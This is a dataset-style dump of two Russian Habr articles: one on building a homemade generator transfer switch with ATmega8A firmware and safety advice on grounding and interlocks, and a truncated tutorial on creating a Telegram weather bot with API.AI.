text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Как я делал себе АВР для генератора
Несколько лет назад делал себе АВР (автоматический ввод резерва) для работы на даче от генератора. Сейчас многие ИТ-шники переходят на удалёнку, работают с дач, где качество электропитания может оставлять лучшего. Поэтому решил написать о своем опыте самодельного АВР на микроконтроллере ATmega8A. Если тема интересна, добро пожаловать под кат, будет много букв и кода.
О заземлении
------------
Прежде чем что-либо делать с электричеством, нужно позаботиться о наличии хорошего заземления в вашем доме. Просто так взять и подключить обычный бытовой бензиновый/дизельный/газовый генератор к электросети дома не получится. Нужно соблюдать меры предосторожности. Первая из них – ваш генератор должен быть хорошо заземлен. Тогда у вас есть хорошие шансы не получить удар током, когда статика от вашего любимого свитера пробъёт изоляцию обмотки генератора. Вообще, к работающему генератору не стоит без нужды прикасаться.
Стоит помнить, что в сети не всегда 220В. Коммутация на линиях, грозовые разряды вдалеке, статические разряды дают такие наводки, что в сети нередки короткие импульсы в несколько киловольт. С этим борются установкой разрядников и УЗИП на вводе в дом, но это очень редкая практика в РФ. Так что пусть искра в землю уходит, и не через вас – сделайте по всему дому хорошее заземление. Без этого делать что-либо дальше просто нельзя!
О генераторах
-------------
К слову, у многих бытовых бензиновых генераторов обмотки никак не соединены с землёй. И это вполне нормально, когда вы питаете от генератора один электроинструмент. Но когда вам надо подключить генератор к дому, нужно сделать нулевой провод (N) и провод фазы (L). Для этого один из выводов генератора заземляется и из этой точки заземления уже независимо нужно вести в дом два провода – один будет нейтралью N, а второй – защитным заземлением (PE). При выборе генератора нужно обратить внимание, можно ли заземлять его выход, порой это запрещено в инструкции к генератору, тогда такой генератор вам не подойдёт.
Часто в Сети можно увидеть схемы подключения генератора без заземления и разделения линий N и PE. Не делайте так, дольше проживёте. Такие схемы хорошо работают до первого неудачного стечения обстоятельств. В типичных блоках питания современных электронных приборов стоят конденсаторы с линий L, N на землю. Если N не заземлить у генератора, то за счёт этих конденсаторов на линии N будет, если повезёт, 110 вольт относительно земли. Кстати, многие газовые котлы в таком режиме вообще перестают работать. Про влияние статики без присутствия заземления я уже писал выше.
О схемах АВР
------------
Есть несколько разных схем реализации АВР. Дальше я буду писать о наиболее безопасной с моей точки зрения схеме однофазного АВР. Я не советую экономно делать АВР на одном контакторе или же с коммутацией только одного фазного провода. Только вместе с нейтралью.
На приведенной схеме питание от сети и от генератора подаётся через вводы 1 и 2. Они защищены спаренными автоматами. Через дополнительные автоматы питаются схемы коммутации и индикации. Видно, что катушки реле взаимно блокируются электрически. За включение того или иного ввода отвечает для упрощения не показанный на схеме микроконтроллер, который замыкает цепи в точке коммутации ТК1 или ТК2.
Принципиальным моментом является наличие в АВР 2х схем блокировок – взаимной механической блокировки коммутирующих вводы контакторов и взаимной электрической блокировки контакторов. Самодельщики ради экономии, бывает, в своих конструкциях пренебрегают этими блокировками, а зря. Схема без блокировок может проработать некоторое время, но в какой-то момент контакты пригорят, возвратные пружины ослабнут и случится КЗ между вводами. Во-первых, это грозит большим бабахом, если обе линии окажутся под напряжением, но это не самая большая проблема. Гораздо важнее, что ваш генератор неожиданно для ремонтирующих проводку электриков может выдать в общую сеть напряжение – при неблагоприятном стечении обстоятельств ремонтирующие линию электрики могут погибнуть. Для вас это уже уголовная статья.
О контакторах
-------------
Таким образом, использование обычных реле для нас отпадает, подойдут только специализированные контакторы. Для больших мощностей есть ещё вариант с моторизованными приводами, но это дорого и для типичного домашнего применения избыточно.
Чтобы сделать механическую блокировку, нужно выбрать контакторы, которые могут работать в паре. Обычно взаимная блокировка достигается установкой одинаковых контакторов рядом друг с другом и установкой дополнительной опции – механического блокиратора. Он продаётся отдельно от контакторов и стоит копейки.
Взаимная электрическая блокировка возможна, если на контакторе есть дополнительные сигнальные контакты, работающие на размыкание. Иногда они сразу встроены в контактор, иногда их можно докупить и установить как опцию.
Ведущие производители контакторов имеют в своих линейках такое оборудование. Так что найти и купить комплект не представляет особого труда. Правда цены на брендовые контакторы на порядок выше наших/китайских. Поскольку количество циклов коммутации не ожидается большим, то выбор китайских контакторов вполне оправдан. К недостаткам можно отнести только то, что катушки контактора во время работы довольно сильно гудят.
Еще по поводу коммутируемой мощности. Контакты контактора должны выдерживать максимальную мощность, которую вам разрешено потреблять в доме. У меня это 10 кВт, поэтому контакторы я выбирал на допустимый ток через один контакт примерно в 50 ампер. Стоит отметить, что по какой-то причине коммутируемая мощность для типичного трехфазного контактора указывается в паспорте суммарная для всех трёх фаз, поэтому надо внимательно смотреть, какой допустимый ток именно через один контакт.
О схеме управления
------------------
Когда я занимался созданием АВР у меня было несколько особых требований к его работе:
* У меня не так часто отключают электричество, поэтому я решил, что мне не нужен автозапуск генератора, а вот от автоматической остановки генератора я решил не отказываться: когда сеть восстанавливается, генератор сам затихает и сразу понятно, что теперь с питанием всё хорошо, да и бензин экономится
* После старта генератора ему надо дать время прогреться и только после прогрева давать ему нагрузку. Т.е. мне нужен был таймер включения АВР после подачи напряжения от генератора
* После восстановления напряжения в сети часто происходили повторные отключения через короткий промежуток времени, поэтому мне нужен был таймер, который бы выждал перед переходом с генератора на сеть некоторое время и не глушил сразу генератор
* Генератору, говорят, полезно перед выключением немного поработать без нагрузки. И для этого мне тоже нужен был таймер
Таким образом вырисовывалась картина, что мне нужен контроллер с несколькими таймерами. В те времена я увлекался кодингом на AVR, поэтому решил сделать такой контроллер на Atmega 8a.
Хорошо бы, чтоб контроллер работал долго и надёжно. Кроме того, чтобы сделать полную гальваническую развязку и снабдить контроллер сторожевым таймером я ничего более не придумал. Ну и сделать схему и программу максимально простыми. Поскольку делалось всё для себя, то все настройки и калибровки решил оставить в коде — весь UI свелся к одному светодиоду )
Основная задача контроллера – мониторить напряжение на вводах и, при необходимости, переключать вводы. При этом приоритетным является ввод от деревенской сети.
Тут стоит отметить, что качество сети таково, что колебания от 150 в до 250 в вполне обычное явление. Поэтому понятие что есть хорошее питание от сети очень размыто. Через какое-то время я решил эту проблему, когда поставил на весь дом один мощный тиристорный стаблизатор напряжения на 11 кВт. Но, важно, стабилизатор можно ставить только до АВР, а не после! Включать стабилизатор для генератора категорически не рекомендуется. Есть опасность, что при определенной комбинации нагрузок, особенно всяких мощных насосов, система из генератора и стабилизатора станет неустойчивой и войдет в автоколебания.
После некоторых раздумий нарисовал такую схему в Eagle.
В схеме есть два идентичных трансформаторных источника питания, при наличии напряжения на любом из вводов схема обеспечена питанием. Между вводами возможно напряжение в 600в, поэтому изоляция трансформаторов должна быть хорошей. Питание берется после пакетников QF3 и QF4 соответственно.
У каждого источника есть резистивный делитель напряжения, защищенный от перенапряжения стабилитроном – с него производится путём нехитрых расчётов измерение напряжение сети с помощью АЦП микроконтроллера.
Для коммутации катушек контакторов применяется стандартная схема из даташита для управления семисторами. 2 штуки ). Катушки — это индуктивная нагрузка, поэтому цепи снаббера на выходе из резистора и конденсатора обязательны.
У меня был релейный модуль с али, который используется для останова генератора. На схеме он просто прямоугольник с тремя выводами.
Из особенностей еще в качестве генератора опорного напряжения использован TL431. В остальном всё включено стандартно для Atmega 8. Есть светодиоды для индикации наличия напряжения питания на вводах и один светодиод статуса устройства. Тактируется схема с помощью внешнего кварца на 16 МГц.
Eagle мне породил вот такую печатную плату. Никаких SMD, симисторы и стабилизатор с легкими радиаторами.
Два тороидальных трансформатора установлены прямо на плате. Плату изготовил традиционным радиолюбительским способом с помощью фоторезиста. После монтажа покрыл тремя слоями акрилового лака. Надеюсь не пробьет его высокое напряжение.
О программе управления
----------------------
Код программы довольно длинный, извините.
**Код программы**
```
/*
* ABP - программа управления блоком "Автоматического ввода резерва"
* В блоке управления есть два ввода напряжения от сети и генератора и три выхода-
* один выход для управления контактором включения сети, второй - контактором
* включения генератора и третий - реле запуска стартера генератора.
* В блоке управления есть выход RS232 для отладочной информации, порт SPI для
* программирования микроконтроллера и 3 светодиода. Два зеленых светодиода
* показывают наличие напряжения питания на входах сети и генератора. Красный
* светодиод показывает состояние контроллера количеством вспышек.
*
* для нормальной печати напряжений нужно линковать большие библиотеки printf
* дополнительные опции в линкере -Wl,-u,vfprintf -lprintf_flt
*/
#ifndef F_CPU
# define F_CPU 16000000UL
#endif
#define BAUD 9600
#include
#include
#include
#include
#include
#include
#include
// переменные для сохранения состояния контроллера после запуска
// используются только для отладки
uint8\_t mcusr\_mirror \_\_attribute\_\_ ((section (".noinit")));
void get\_mcusr(void) \
\_\_attribute\_\_((naked)) \
\_\_attribute\_\_((section(".init3")));
void get\_mcusr(void)
{
mcusr\_mirror = MCUSR;
MCUSR = 0;
wdt\_disable();
}
//настройка UART для отладочной печати в порт RS232
void uart\_init( void )
{
/\* //настройка скорости обмена
UBRRH = 0;
UBRRL = 103; //9600 при кварце 16 МГц \*/
#include
UBRRH = UBRRH\_VALUE;
UBRRL = UBRRL\_VALUE;
#if USE\_2X
UCSRA |= (1 << U2X);
#else
UCSRA &= ~(1 << U2X);
#endif
//8 бит данных, 1 стоп бит, без контроля четности
UCSRC = ( 1 << URSEL ) | ( 1 << UCSZ1 ) | ( 1 << UCSZ0 );
//разрешить прием и передачу данных
UCSRB = ( 1 << TXEN ) | ( 1 <= abp\_timers[tmr].set\_secs) {
return 1;
} else {
return 0;
}
}
// прерывание для подсчета секунд в таймерах
ISR(TIMER1\_COMPA\_vect)
{
// сюда надо добавлять переменные счетчиков таймеров включения/выключения
unsigned char i;
for(i=TMR\_220N\_ON; i<=TMR\_GEN\_OFF; i++ ) {
if (abp\_timers[i].state) {
abp\_timers[i].passed\_secs++;
}
}
}
//настройка COUNTER2 для управления светодиодом через переменную led\_State
void counter2\_init( void )
{
ASSR = 0; /\* AS0 = 0 \*/ /\* disable asynchronous mode \*/
while (ASSR); /\*EMPTY\*/
OCR2 = 223; /\* 70 Гц на выходе \*/
TCCR2 |= (1 << CS22) | (1 << CS21) | (1 << CS20); /\* prescale /1024 \*/
TCCR2 |= (1 << WGM21); /\* mode CTC \*/
TCCR2 &= ~(1 << WGM20);
TCCR2 &= ~(1 << COM21); /\* не выводить на OC2 \*/
TCCR2 &= ~(1 << COM20);
TIMSK |= (1 << OCIE2); /\* enable compare interrupt \*/
}
typedef enum \_ABP\_LED\_STATES {
ABP\_UNDEF = 0, // режим неопределен
ABP\_1RELAY, // включено 1 реле
ABP\_2RELAY // включено 2 реле
} ABP\_LED\_STATES;
ABP\_LED\_STATES led\_State = ABP\_UNDEF;
const unsigned char led\_pattern[3][10] =
{ { 1,0,1,0,1,0,1,0,1,0 }, // статус не определен
{ 1,0,0,0,0,0,0,0,0,0 }, // включено 1 реле
{ 1,0,1,0,0,0,0,0,0,0 } }; // включено 2 реле
volatile unsigned char timer2\_count = 0;
volatile unsigned char led\_cycle = 0; // от 0 до 9
ISR(TIMER2\_COMP\_vect) // должно вызываться примерно 70 раз в секунду
{
if (++timer2\_count > 6) // типа примерно через 0.1 сек. нужно сменить режим светодиода
{
timer2\_count = 0; // сбрасываем счетчик
if (led\_pattern[led\_State][led\_cycle]) {
PORTB &= ~(1 << PB0); // включаем
} else {
PORTB |= (1 << PB0); // выключаем
}
if (++led\_cycle >= 10)
led\_cycle = 0;
}
}
// количество семплов для усреднения значения датчиков напряжения
#define SAMPLES 2500
// используемое опорное напряжение TL431
#define REFERENCEV 2.479
// экспериментальные коэффициенты пересчета для делителей напряжения
#define DIVIDER1 (12.3/2.13)
#define DIVIDER2 (12.4/2.03)
double realV1 = 0; // здесь итоговое зхначение измерения V0
double realV2 = 0; // здесь итоговое зхначение измерения V1
volatile int sampleCount = 0;
volatile unsigned long tempVoltage1 = 0; // переменные для накопления суммы
volatile unsigned long tempVoltage2 = 0;
volatile unsigned long sumVoltage1 = 0; // переменные для передачи суммы семплов в основной цикл
volatile unsigned long sumVoltage2 = 0;
void ADC\_init() // ADC1,0
{
// внешний ИОН 2,5В, 10 bit преобразование
ADMUX = (0 << REFS0) | (0 << REFS1) | (0 << ADLAR) |
(0 << MUX3) | (0 << MUX2) | (0 << MUX1) | (0 << MUX0); // ADC0
// включить, free running, с прерываниями
ADCSRA = (1 << ADEN) | (1 << ADFR) | (1 << ADIE) |
(1 << ADPS2) | (1 << ADPS1) | (1 << ADPS0); // делитель 128
ADCSRA |= (1 << ADSC); // Start ADC Conversion
}
ISR(ADC\_vect) // должен накапливать измерения по 2500 семплам по каждому каналу
{
if ((ADMUX & (1 << MUX0))) { // если работаем с ADC1
if (sampleCount++) // пропускаем первое измерение
tempVoltage1 += ADC;
if (sampleCount >= SAMPLES) {
sampleCount = 0;
sumVoltage1 = tempVoltage1;
tempVoltage2 = 0;
tempVoltage1 = 0;
ADMUX &= ~(1 << MUX0); // переключаем на ADC0
}
} else { // если работаем с ADC0
if (sampleCount++) // пропускаем первое измерение
tempVoltage2 += ADC;
if (sampleCount >= SAMPLES) {
sampleCount = 0;
sumVoltage2 = tempVoltage2;
tempVoltage2 = 0;
tempVoltage1 = 0;
ADMUX |= (1 << MUX0); // переключаем на ADC1
}
}
ADCSRA |=(1 << ADIF); // Acknowledge the ADC Interrupt Flag
}
// валидность напряжения на входах блока АВР
typedef enum \_ABP\_U\_STATES {
U\_INVALID = 0, // напряжение не в норме
U\_VALID // напряжение в норме
} ABP\_U\_STATES;
ABP\_U\_STATES u220n, u220g; // расчетная валидность напряжения на входах
// допустимый диапазон напряжений питания в В на выходе выпрямителей
// напряжения меняются не только от изменения сетевого напряжения, но и
// плавают под нагрузкой (реле стартера), поэтому диапазон широкий
#define MAX\_V 14.0
#define MIN\_V 7.5
void ports\_init() {
// настройка порта светодиода индикации
PORTB &= ~(1 << PB0);
DDRB |= (1 << PB0); // output
PORTB &= ~(1 << PB0); // включаем
// настройка порта Контактора 1
PORTD |= (1 << PD4);
DDRD |= (1 << PD4); // output
PORTD |= (1 << PD4); // высокий уровень - выключаем
// настройка порта Контактора 2
PORTD |= (1 << PD3);
DDRD |= (1 << PD3); // output
PORTD |= (1 << PD3); // высокий уровень - выключаем
// настройка порта Реле запуска генератора
PORTD &= ~(1 << PD2);
DDRD |= (1 << PD2); // output
PORTD &= ~(1 << PD2); // низкий уровень - выключаем
}
void validate220() {
// логика валидации напряжения питания сети и генератора
realV1 = DIVIDER1 \* ((sumVoltage1 \* REFERENCEV) / 1024) / SAMPLES;
realV2 = DIVIDER2 \* ((sumVoltage2 \* REFERENCEV) / 1024) / SAMPLES;
if( realV1 > MAX\_V || realV1 < MIN\_V ) { // проверка напряжения от генератора
u220g = U\_INVALID;
} else {
u220g = U\_VALID;
}
if( realV2 > MAX\_V || realV2 < MIN\_V ) { // проверка напряжения от сети
u220n = U\_INVALID;
} else {
u220n = U\_VALID;
}
}
void validate\_contactors() {
// проверка валидности включения контактора сети 220 в
// на выходе RLY\_220N = RLY\_ON или RLY\_OFF
if( u220n == U\_VALID && contactors[RLY\_220N] == RLY\_OFF
&& abp\_timers[TMR\_220N\_ON].state == TMR\_OFF) { // есть напряжение, реле пока выкл, и таймер не вкл
abp\_timer\_stop( TMR\_220N\_OFF ); // остановка таймера выключения 220
abp\_timer\_start( TMR\_220N\_ON ); // запуск таймера включения 220
}
if( u220n == U\_VALID && contactors[RLY\_220N] == RLY\_OFF
&& abp\_timers[TMR\_220N\_ON].state == TMR\_ON && abp\_timer\_check(TMR\_220N\_ON)) { // есть напряжение, реле пока выкл, таймер сработал
abp\_timer\_stop( TMR\_220N\_OFF ); // остановка таймера выключения 220
abp\_timer\_stop( TMR\_220N\_ON ); // остановка таймера включения 220
contactors[RLY\_220N] = RLY\_ON; // ставим флаг включения 220
}
if( u220n == U\_VALID && contactors[RLY\_220N] == RLY\_ON
&& abp\_timers[TMR\_220N\_OFF].state == TMR\_ON) { // есть напряжение, реле вкл, и таймер выкл включен
abp\_timer\_stop( TMR\_220N\_OFF ); // остановка таймера выключения 220
}
if( u220n == U\_INVALID && contactors[RLY\_220N] == RLY\_ON
&& abp\_timers[TMR\_220N\_OFF].state == TMR\_OFF) { // нет напряжение, реле пока выкл, и таймер не вкл
abp\_timer\_stop( TMR\_220N\_ON ); // остановка таймера включения 220
abp\_timer\_start( TMR\_220N\_OFF ); // запуск таймера выключения 220
}
if( u220n == U\_INVALID && contactors[RLY\_220N] == RLY\_ON
&& abp\_timers[TMR\_220N\_OFF].state == TMR\_ON && abp\_timer\_check(TMR\_220N\_OFF)) { // нет напряжения, реле пока вкл, таймер сработал
abp\_timer\_stop( TMR\_220N\_OFF ); // остановка таймера выключения 220
abp\_timer\_stop( TMR\_220N\_ON ); // остановка таймера включения 220
contactors[RLY\_220N] = RLY\_OFF; // ставим флаг выключения 220
}
if( u220n == U\_INVALID && contactors[RLY\_220N] == RLY\_OFF
&& abp\_timers[TMR\_220N\_ON].state == TMR\_ON) { // нет напряжения, реле выкл, и таймер вкл включен
abp\_timer\_stop( TMR\_220N\_ON ); // остановка таймера включения 220
}
// проверка валидности включения контактора генератора
// на выходе RLY\_220G = RLY\_ON или RLY\_OFF
if( u220g == U\_VALID && contactors[RLY\_220G] == RLY\_OFF
&& abp\_timers[TMR\_220G\_ON].state == TMR\_OFF) { // есть напряжение, реле пока выкл, и таймер не вкл
abp\_timer\_stop( TMR\_220G\_OFF ); // остановка таймера выключения ген
abp\_timer\_start( TMR\_220G\_ON ); // запуск таймера включения ген
}
if( u220g == U\_VALID && contactors[RLY\_220G] == RLY\_OFF
&& abp\_timers[TMR\_220G\_ON].state == TMR\_ON && abp\_timer\_check(TMR\_220G\_ON)) { // есть напряжение, реле пока выкл, таймер сработал
abp\_timer\_stop( TMR\_220G\_OFF ); // остановка таймера выключения ген
abp\_timer\_stop( TMR\_220G\_ON ); // остановка таймера включения ген
contactors[RLY\_220G] = RLY\_ON; // ставим флаг включения ген
}
if( u220g == U\_VALID && contactors[RLY\_220G] == RLY\_ON
&& abp\_timers[TMR\_220G\_OFF].state == TMR\_ON) { // есть напряжение, реле вкл, и таймер выкл включен
abp\_timer\_stop( TMR\_220G\_OFF ); // остановка таймера выключения ген
}
if( u220g == U\_INVALID && contactors[RLY\_220G] == RLY\_ON
&& abp\_timers[TMR\_220G\_OFF].state == TMR\_OFF) { // нет напряжение, реле пока выкл, и таймер не вкл
abp\_timer\_stop( TMR\_220G\_ON ); // остановка таймера включения ген
abp\_timer\_start( TMR\_220G\_OFF ); // запуск таймера выключения ген
}
if( u220g == U\_INVALID && contactors[RLY\_220G] == RLY\_ON
&& abp\_timers[TMR\_220G\_OFF].state == TMR\_ON && abp\_timer\_check(TMR\_220G\_OFF)) { // нет напряжения, реле пока вкл, таймер сработал
abp\_timer\_stop( TMR\_220G\_OFF ); // остановка таймера выключения ген
abp\_timer\_stop( TMR\_220G\_ON ); // остановка таймера включения ген
contactors[RLY\_220G] = RLY\_OFF; // ставим флаг выключения ген
}
if( u220g == U\_INVALID && contactors[RLY\_220G] == RLY\_OFF
&& abp\_timers[TMR\_220G\_ON].state == TMR\_ON) { // нет напряжения, реле выкл, и таймер вкл включен
abp\_timer\_stop( TMR\_220G\_ON ); // остановка таймера включения ген
}
// запуск и останов генератора с таймером
if( contactors[RLY\_220N] == RLY\_OFF && contactors[RLY\_GEN] == RLY\_OFF) { // нет сети, стартуем ген
abp\_timer\_stop( TMR\_GEN\_OFF ); // остановка таймера останова генератора
contactors[RLY\_GEN] = RLY\_ON; // ставим флаг запуска генератора
}
if( contactors[RLY\_220N] == RLY\_ON && abp\_timers[TMR\_GEN\_OFF].state == TMR\_OFF
&& u220g == U\_VALID) { // есть 220 в сети и есть от генератора
abp\_timer\_start( TMR\_GEN\_OFF ); // запуск таймера останова генератора
}
if( contactors[RLY\_220N] == RLY\_ON && abp\_timers[TMR\_GEN\_OFF].state == TMR\_OFF
&& u220g == U\_INVALID) { // есть 220 в сети и нет от генератора
abp\_timer\_stop( TMR\_GEN\_OFF ); // остановка таймера останова генератора
contactors[RLY\_GEN] = RLY\_OFF; // ставим флаг останова генератора
}
if( contactors[RLY\_220N] == RLY\_ON && abp\_timers[TMR\_GEN\_OFF].state == TMR\_ON
&& abp\_timer\_check(TMR\_GEN\_OFF) ) { // есть 220 в сети и истекло время таймера
abp\_timer\_stop( TMR\_GEN\_OFF ); // остановка таймера останова генератора
contactors[RLY\_GEN] = RLY\_OFF; // ставим флаг останова генератора
}
}
void switch\_contactors() {
// логика переключения контакторов
if( contactors[RLY\_220N] == RLY\_ON ) {
PORTD |= (1 << PD4); // высокий уровень - выключаем контактор 1 ген
\_delay\_ms(50); //даем возможность отключиться контактору генератора
PORTD &= ~(1 << PD3); // низкий уровень - включаем контактор 2 220
led\_State = ABP\_2RELAY;
} else {
if( contactors[RLY\_220G] == RLY\_ON ) {
PORTD |= (1 << PD3); // высокий уровень - выключаем контактор 2 220
PORTD &= ~(1 << PD4); // низкий уровень - включаем контактор 1 ген
led\_State = ABP\_1RELAY;
} else {
PORTD |= (1 << PD3); // высокий уровень - выключаем контактор 2 220
PORTD |= (1 << PD4); // высокий уровень - выключаем контактор 1 ген
led\_State = ABP\_UNDEF;
}
}
if( contactors[RLY\_GEN] != RLY\_ON ) { // v2 реле работает на время работы генератора - не дает напряжения на стоппер
PORTD &= ~(1 << PD2); // низкий уровень - выключаем реле - возврат напряги на стоппер - стоп гены
} else {
PORTD |= (1 << PD2); // высокий уровень - включаем реле - держим режим работы гены
}
}
int main(void)
{
ports\_init(); // настройка портов светодиода, реле и контакторов
uart\_init(); //настройка uart
stdout = &uart\_stream;
counter2\_init(); // настройка таймера мигания светодиода
ADC\_init(); // настройка АЦП измерения 220
abp\_timers\_init(); // настройка таймеров задержек включения и выключения
timer1\_init(); // настройка секундного таймера на аппаратном счетчике 1
set\_sleep\_mode(SLEEP\_MODE\_IDLE); // разрешаем сон в режиме IDLE
sleep\_enable();
wdt\_enable(WDTO\_2S); // Сторожевой таймер настроен на таймаут в 2 секунды
sei(); // запускаем работу прерываний
\_delay\_ms(1000); // ждем первых результатов ЦАП, отличных от 0
wdt\_reset();
printf( "Start flag after reset = %u\r\n", mcusr\_mirror );
abp\_timer\_start(TMR\_PRINT);
while(1)
{
wdt\_reset(); // сбрасываем сторожевой таймер
validate220(); // проверка качества 220 от сети и генератора
validate\_contactors(); // валидация возможности включения контакторов с таймерами
switch\_contactors(); // переключение контакторов по схеме
// отладочная печать раз в 2 секунды
if (abp\_timer\_check(TMR\_PRINT)) {
printf( "V220 = %4.2f VG = %4.2f\r\n", realV2, realV1 );
printf( "valid = %u %u \r\n", u220n, u220g );
printf( "rly = %u %u %u\r\n", contactors[RLY\_220N], contactors[RLY\_220G], contactors[RLY\_GEN] );
abp\_timer\_start(TMR\_PRINT);
}
sleep\_cpu(); // заснуть до следующего пррывания по таймерам
}
}
```
Программа разработана с помощью бесплатного AVR Studio и использует стандартные библиотеки AVR.
В основном цикле программа проверяет напряжение на входах вводов, оценивает состояние включения контакторов, учитывает работу программных таймеров, производит необходимые корректировки включая или выключая реле и контакторы, затем уходит в спячку. Для отладки сделан вывод отладочной печати в последовательный порт микроконтроллера.
Для контроля зависаний предусмотрен сторожевой таймер.
Все циклы измерений сделаны на прерываниях и с использованием аппаратных таймеров. Счетчик секунд сделан на таймере 1. По прерыванию таймера 1 обновляются программные таймеры, отвечающие за задержки включения и отключения контакторов и реле генератора.
Второй таймер используется для создания эффекта мигания светодиода статуса. Предусмотрено три паттерна мигания. Значения из паттерна мигания берутся в прерывании таймера 2. По миганию можно судить о состоянии контроллера.
Два АЦП также работают по таймерам и усредняют по 2500 сэмплов измерений напряжения. Для перевода измерений в реальные вольты предусмотрены калибровочные константы. Их значения надо исправить в ходе настройки АВР.
Кроме того, есть еще ряд констант, которые нужно определить в ходе наладки.
```
abp_timers[TMR_220N_ON].set_secs = 10; // ожидание после включения сетевого напряжения
abp_timers[TMR_220G_ON].set_secs = 60; // ожидание для переключения на генератор для прогрева генератора
abp_timers[TMR_220N_OFF].set_secs = 5; // ожидание после пропадания сетевого напряжения
abp_timers[TMR_220G_OFF].set_secs = 5; // ожидание после пропадания напряжения генератора
abp_timers[TMR_GEN_OFF].set_secs = 60; // ожидание для охлаждения генератора перед остановом
```
Реле останова генератора при работе от генератора держится включенным, блокируя поступление напряжения на цепь останова генератора. После завершения работы таймера работы генератора на холостом ходу, реле выключается и на цепь останова генератора через это реле начинает поступать ток. На самом генераторе стоит специальный блок, который после появления напряжения с некоторой задержкой замыкает цепь зажигания на массу, что приводит к останову генератора. Этот же блок содержит цепь подзаряда аккумулятора генератора. Если кому интересны детали, напишите в комментах, я сделаю отдельный пост об этом блоке. В нём нет кода, всё аппаратно.
Если кто-то надумает повторить АВР, то стоит подкорректировать значения настроек. Готовую прошивку не публикую, так как программу всё равно надо править в ходе настройки АВР.
Надо сказать, что мой АВР работает уже 4 года без проблем, так что схема можно считать проверенная как и код. | https://habr.com/ru/post/507764/ | null | ru | null |
# Создаем Telegram бота на API.AI
Чат боты — довольно интересная тема, которой интересуются как гики-энтузиасты, так и компании, которые хотят организовать взаимодействие со своими клиентами наиболее удобным для них способом
Сегодня я опишу вам простой пример создания бота Telegram с использованием платформы для создания разговорных интерфейсов API.AI, который будет приветствовать пользователя и отвечать на вопросы о погоде. По большей части я следовал этим [инструкциям](https://api.ai/docs/getting-started/basics), в реальной практике, можно не ограничиваться погодой и реализовать интерфейсы
для автоматизированной поддержки или продаж.
Шаг первый: Подготовка инфраструктуры.
--------------------------------------
В этом кейсе мы будем использовать только Telegram бота и API.AI, оба сервиса предоставляются бесплатно — нам остается только завести учетные записи.
### Создайте бота Telegram
Чтобы создать бота — просто напишите @BotFather (это такой бот, которые умеет создавать и настраивать другие боты):
1. Отправьте команду /newbot — так мы сообщаем @BotFather, что нам нужен новый бот
2. Теперь @BotFather попросит нас дать имя новому боту. Это имя будут видеть наши
будущие пользователи, поэтому название нужно давать понятное и простое.
3. Последним шагом укажем для бота username, в конце которого нужно обязательно
написать “bot”.
4. Если имя не занято, получаем сообщение с подтверждением и токен доступа.
Чтобы было понятнее — ниже скриншот со всеми действиям:
### Немного теории
Пришло время создать агента API.AI, который в сущности является проектом или контейнером (как вам удобнее называть). Агент содержит настройки контекстов, сущностей и ответов:
* **“контекст” (Intent)** отражает связь между тем, *что сказал пользователь* и
тем *что должна сделать наша программа*
* **“сущности” (Entities)** — это инструмент извлечения значений параметров для
нашей программы из естественного языка (того что сказал или написал
пользователь)
* **“ответы**” — это конечный результат работы нашей программы, который мы
отправляем пользователю на его сообщение
Иногда для ответа пользователю достаточно информации из текущего диалога, в таком случае можно можно настроить статичные **ответы** в **контекстах**. В реальности для получения конкретного ответа нам может потребоваться внешний сервис или своя бизнес логика, например, чтобы получить информацию о погоде на завтра, нужно вызвать внешний API соответствующего сервиса. Позже я расскажу вам получать информацию из внешних систем, но для начала подготовим базу.
### Создайте проект в API.AI
Для регистрации в API.AI вам потребуется аккаунт Google (достаточно завести в почту в Gmail). Теперь перейдите по адресу <https://api.ai/>, нажмите на кнопку “SIGN UP FOR FREE”, а за тем выберите аккаунт, от имени которого хотите авторизоваться.
Теперь переходим к созданию самого агента. Нажмите на “Create agent” и укажите как минимум Имя(Name), Язык(Language) и Часовой пояс (Time Zone).
Шаг второй: Настройте агента.
-----------------------------
Контекст отражает связь между тем, что говорит пользователь, и что должен сделать наш агент. В нашем случае, рассмотрим случай с прогнозом погоды:
1. Кликните на в разделе “Контекст” (Intents). В агенте уже настроены “контексты” на приветствие и ошибки, оставим их пока без изменений.
2. Укажите название для “контекста” — любое, главное чтобы оно было понятно вам и вашим коллегам.
3. В разделе “Реплики пользователя” (User Says) приведите примеры вопросов, который может ваш пользователь. Так как мы говорим о погоде, человек может задать вопрос в привязке ко времени и место — учтем это. Чем больше примеров вы предоставите в настройках, тем точнее будет работать агент. Некоторые примеры я привел на скриншоте:
В последнем примере слова “завтра” и “Нижнем Тагиле” подсвечены разными цветами — таким образом слова связываются с сущностями (**Entities**) (в нашем случае сущности системные). Используя эти параметры агент “поймет” в каком городе и для какой даты нужно узнавать погоду.
Добавьте еще парочку своих примеров и нажмите “Сохранить” (SAVE).
### Тестируем!
Проверим работу агента на простых вопросах, например, “Погода в Перми в среду”:
Все это время в правой верхней части экрана маячила надпись “Try it now” — напишите в это поле или произнесите простой вопрос о погоде и нажмите “Ввод”.
Мы еще не настраивали автоматический ответ, но некоторые параметры агент уже научился определять! В разделе INTENT отражено, что по “мнению” агента пользователь интересуется погодой (настроенный нами “контекст”), в PARAMETER — дату и название города в соответствующих переменных.
### Добавьте автоматические ответы
Сделаем нашего агента разговорчивей! Пока мы не научились получать информацию о погоде из внешних источников, добавим в качестве ответов простые фразы.
Перейдите в раздел “ Ответы” (Response) и введите простые ответы аналогично тому, как вы заполняли “Реплики пользователя”:
Как видите — в ответах можно использовать ссылки на выявленные сущности, начните набирать $ — и интерфейс предложит вам выбрать конкретную переменную.
При формировании ответа агент учитывает количество определенных сущностей и не использует ответы, данных для которых недостаточно. Например, на вопрос без указания города агент использует ответ из второй строки.
Сохраните настройки и протестируйте еще раз:
Теперь у нас есть еще и ответ!
Шаг третий: Добавьте внешний сервис.
------------------------------------
Наш агент уже “понимает” в каких случая пользователь хочет узнать погоду, на какое число и в каком городе. Теперь осталось получить эти данные из подходящего сервиса и передать агенту. Для этого вам нужно написать парочку скриптов на JS и разместить их в облачном сервисе, в нашем случае — Google Cloud Project.
### Создайте стартовый JS файл
Для начала, создайте и перейдите в директорию с именем вашего проекта:
* Linux или Mac OS X:
mkdir ~/[PROJECT\_NAME]
cd ~/[PROJECT\_NAME]
* Windows:
mkdir %HOMEPATH%[PROJECT\_NAME]
cd %HOMEPATH%[PROJECT\_NAME]
Теперь создайте файл index.js со следующим содержанием:
**Код index.js**
```
/*
* HTTP Cloud Function.
*
